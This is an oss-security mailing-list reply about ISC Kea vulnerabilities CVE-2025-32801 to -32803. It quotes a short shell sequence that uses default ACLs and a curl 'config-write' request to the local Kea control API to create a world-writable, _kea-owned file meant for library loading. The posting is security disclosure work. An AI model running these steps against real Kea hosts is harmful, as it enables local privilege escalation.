[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Message-ID: <aDloR_R9LjYpBB28@kasco.suse.de>
Date: Fri, 30 May 2025 10:11:51 +0200
From: Matthias Gerstner <mgerstner@...e.de>
To: oss-security@...ts.openwall.com
Subject: Re: ISC has disclosed three vulnerabilities in Kea
(CVE-2025-32801, CVE-2025-32802, CVE-2025-32803)
Hi,
On Wed, May 28, 2025 at 08:23:25PM +0200, Jakub Wilk wrote:
> * Matthias Gerstner <mgerstner@...e.de>, 2025-05-28 19:21:
> >By leveraging issue 3.2), the Kea services can be instructed to create
> >`_kea` owned files in the attacker's `$HOME/.Private`. The content of
> >the created files is not fully attacker controlled, however, so it will
> >not be possible to craft a valid ELF object for loading via `dlopen()`
> >this way. By placing a setgid-directory in `$HOME/.Private/evil-dir`,
> >any files created in this directory will even have the group-ownership
> >of the attacker. The file mode will be 0644, however,
>
> Default ACLs to the rescue!
>
> $ chmod a+x ~
> $ mkdir -m 777 ~/.Private
> $ setfacl -d -m u:$LOGNAME:rwx ~/.Private/
> $ curl -s -H "Content-Type: application/json" -d '{ "command": "config-write", "arguments": { "filename": "'"$HOME"'/.Private/libexploit.so" } }' localhost:8000 > /dev/null
> $ echo pwned > ~/.Private/libexploit.so
> $ ls -l ~/.Private/libexploit.so
> -rw-rw-rw-+ 1 _kea _kea 6 May 28 18:15 /home/jwilk/.Private/libexploit.so
> $ cat ~/.Private/libexploit.so
> pwned
very nice addition! We already felt like there was little left to
succeed in the attack, but didn't think of ACLs.
We will make an update to our blog post to reflect this.
Cheers
Matthias
Download attachment "signature.asc" of type "application/pgp-signature" (834 bytes)
Powered by blists - more mailing lists
Please check out the
Open Source Software Security Wiki, which is counterpart to this
mailing list.
Confused about mailing lists and their use?
Read about mailing lists on Wikipedia
and check out these
guidelines on proper formatting of your messages.
